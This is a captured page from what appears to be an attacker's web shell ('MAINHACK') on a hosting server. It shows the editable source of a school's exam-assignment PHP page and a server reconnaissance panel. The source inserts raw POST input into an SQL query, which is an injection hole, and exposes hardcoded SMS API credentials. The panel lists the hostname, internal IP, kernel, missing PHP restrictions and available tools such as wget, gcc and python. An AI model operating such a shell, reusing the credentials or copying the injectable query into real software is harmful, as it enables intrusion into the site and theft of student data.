[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: assign_exam.php
<?php include('header.php'); ?> <style type="text/css"> #fli,#fli1 { } #display { position:absolute; width:315px; margin-left:0; margin-top:0px; max-height:300px; padding:2px; display:none; border-top:0px; overflow:auto; border:1px #CCC solid; background-color: white; z-index:1000; } .show,.show1 { padding:7px; border-bottom:1px #999 dashed; font-size:15px; } .show:hover,.show1:hover { background:#4f52ba; color:#FFF; cursor:pointer; } .widget{ overflow:visible !important; } </style> <script> function fill(Value,Value2,Value3,Value4,Value5) { $('#fli').val(Value); $('#uid').val(Value2); $('#em').val(Value3); $('#pass').val(Value4); $('#phn').val(Value5); $('#display').hide(); } $(document).ready(function(){ $("#fli").keyup(function() { var name = $('#fli').val(); if(name=="") { $("#display").html(""); } else { $.ajax({ type: "POST", url: "ajax_exam_assign.php", data: "name="+ name , success: function(html){ $("#display").html(html).show(); } }); } }); }); </script> <div id="page-wrapper"> <div class="main-page"> <div class="row"> <div id="col-md-12"> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Assign Exam</h4> </div> <div class="form-body"> <form method="post" data-toggle="validator" enctype="multipart/form-data" > <div class="form-group"> <div class="col-md-4"> <label>Student ID</label> <input type="text" class="form-control" name="uid" id="fli" placeholder="Student ID" /> <div id="display"></div> </div> <div class="col-md-4"> <label>Name :</label> <input class="form-control" type="text" id="uid" name="na" placeholder="Student Name" readonly /> </div> <div class="col-md-4"> <label>Email :</label> <input class="form-control" type="text" id="em" name="em" placeholder="Student Email" readonly /> </div> <div class="clearfix"></div> </div> <div class="form-group"> <div class="col-md-4"> <label>Phone</label> <input type="text" class="form-control" name="phn" id="phn" placeholder="Student Phone" readonly /> <div id="display"></div> </div> <div class="col-md-4"> <label>Password generated</label> <input type="text" class="form-control" name="pass" id="pass" placeholder="Password" readonly /> <div id="display"></div> </div> <div class="col-md-4"> <label>Date of Assignment :</label> <input class="form-control" type="text" id="" name="date" value="<?php echo date('d-m-Y'); ?>" readonly /> </div> <div class="clearfix"></div> </div> <div class="form-group"> <div class="col-md-4"> <label>Paper Set :</label> <select class="form-control1" name="set" required /><option value="">SET</option> <?php $s="select * from no_paper order by id "; $s1=mysqli_query($con,$s); while($row=mysqli_fetch_array($s1)){ echo "<option value='".$row['paper_id']."-".$row['number']."'>".$row['number']."</option>"; } ?> </select> </div> <div class="col-md-4"> <label>Date of Exam :</label> <input class="form-control" type="text" id="" name="date" required /> </div> <div class="clearfix"></div> </div> <div class="form-group"> <div class="col-md-6"> <input type="submit" class="btn btn-info" id="btn" name="sub" value="Assign Exam"> </div> <div class="clearfix"></div> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ include('exam_id.php'); $paper=explode("-",$_POST['set']); //$dt=date('Y-m-d',strtotime($_POST['date'])); $sq="insert into exam(user_id,name,email,phone,date_of_exam,paper_no,date_of_setting_question,paper_id,exam_id) values('".trim($_POST['uid'])."','".trim($_POST['na'])."','".trim($_POST['em'])."','".trim($_POST['phn'])."','".date('Y-m-d',strtotime($_POST['date']))."','".$paper[1]."',curdate(),'".$paper[0]."','".$id."')"; $r=mysqli_query($con,$sq) or die(mysqli_error($con)); //echo $sq; /*if($r==1){ echo "<script>alert('Exam is assigned. Mail has been sent to the student. Thank U');</script>"; }*/ if($r==1){ error_reporting(0); $phonee = $_POST['phn']; $user="itspl"; $pass="test_123"; $sender="ITSPVT"; $telephone = isset($_POST['telephone'])? $_POST['telephone'] : ''; $s=substr(str_shuffle(str_repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#@", 5)), 0, 5); $no=rand(1,10000); $capcha=$no; // echo $capcha; $message="Your Exam has been assigned on ".$_POST['date'].""; if(strlen($phonee)) { $phne=$phonee; $parameters="user=$user&pass=$pass&sender=$sender&phone=$phne&text=$telephone-$message&priority=ndnd&stype=normal"; curl_setopt($ch, CURLOPT_POSTFIELDS, "user=$user&pass=$pass&sender=$sender&phone=$phne&text=$telephone$message&priority=ndnd&stype=normal"); $url="http://bhashsms.com/api/sendmsg.php?"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,$parameters); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_HEADER,0); // DO NOT RETURN HTTP HEADERS curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // RETURN THE CONTENTS OF THE CALL $return_val = curl_exec($ch); } //echo $parameters; $message1 = "Thank you for Choosing us."; //$phone = isset($_POST['phone'])? $_POST['phone'] : ''; $user="itspl"; $pass="test_123"; $sender="ITSPVT"; $telephone1 = isset($_POST['telephone'])? $_POST['telephone'] : ''; if(strlen($phonee)=="10") { $phne=$phonee; $parameters="user=$user1&pass=$pass1&sender=$sender1&phone=$telephone1&text=$message1&priority=ndnd&stype=normal"; curl_setopt($ch, CURLOPT_POSTFIELDS, "user=$user1&pass=$pass1&sender=$sender1&phone=$telephone1&text=$message&priority=ndnd&stype=normal"); $url="http://sms.incrementertech.com/api/sendmsg.php?"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,$parameters); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_HEADER,0); // DO NOT RETURN HTTP HEADERS curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // RETURN THE CONTENTS OF THE CALL $return_val = curl_exec($ch); } else { $phne=str_replace("\r\n",",",$phone); } //echo "<script>alert('ok');window.location.href='otp.php?id=".$capcha."'</script>"; //window.location.href='pay-logo.php?uid=".$id."&id=".$pid."'; // $_SESSION['trans']=$a; $my_mail="nietpdy2016@gmail.com"; $email_subject = "Examination Assigned"; $email_content1=" <html><head> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 20px double #999;' width='800px'> <tr><td style='text-align:center;background: #999;'> <h3 style='text-align: center; color: #fff; font-size: 20px; text-transform: uppercase;'>Welcome to NIET</h3></td></tr> <tr><td style='text-align:justify;font-size:18px;'><br>Hi Admin,<br><br> Exam has been assigned to user : ".$uid.",".$_POST['na']." on ".$_POST['date']." <br> <br><br><br><br> Thanks & Regards,<br> NIET,<br> Web : http://www.niettrust.org/<br> Email :nietpdy2016@gmail.com<br> <br> <br> </td></tr> </tr> </table> </body></html>"; $email_content=" <html><head> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 20px double #999;' width='800px'> <tr><td style='text-align:center;background: #999;'> <h3 style='text-align: center; color: #fff; font-size: 20px; text-transform: uppercase;'>Welcome to NIET</h3></td></tr> <tr><td style='text-align:justify;padding:12px;font-size:18px;'><br>Hi ".$em.",<br><br> Exam has been assigned to you on ".$_POST['date']." <br> <br><br><br><br> Thanks & Regards,<br> NIET,<br> Web : http://www.niettrust.org/<br> Email :nietpdy2016@gmail.com<br> <br> <br> </td></tr> </tr> </table> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($my_mail,$email_subject,$email_content1,$headers) && @mail($_POST['email'],$email_subject,$email_content,$headers)) { //echo "<script>alert('Thank You for your registration at http://incrementertech.com/NIET.Your user dasboard link is :https://incrementertech.com/NIET/user.User id :".$_POST['email']." & //Password : ".$pass_generate."');</script>"; echo "<script>alert('Exam is assigned. Mail has been sent to the student. Thank U');</script>"; } else { echo "<script>alert('Message not sent!')</script>"; } } } ?> </div> </div> </div> </div> </div> </div> <script src="js/bootstrap-datepicker.js"></script> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date1").datepicker({ format: 'dd-mm-yyyy', }); $("#date2").datepicker({ format: 'dd-mm-yyyy', }); $("#date2").datepicker({ format: 'dd-mm-yyyy', }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619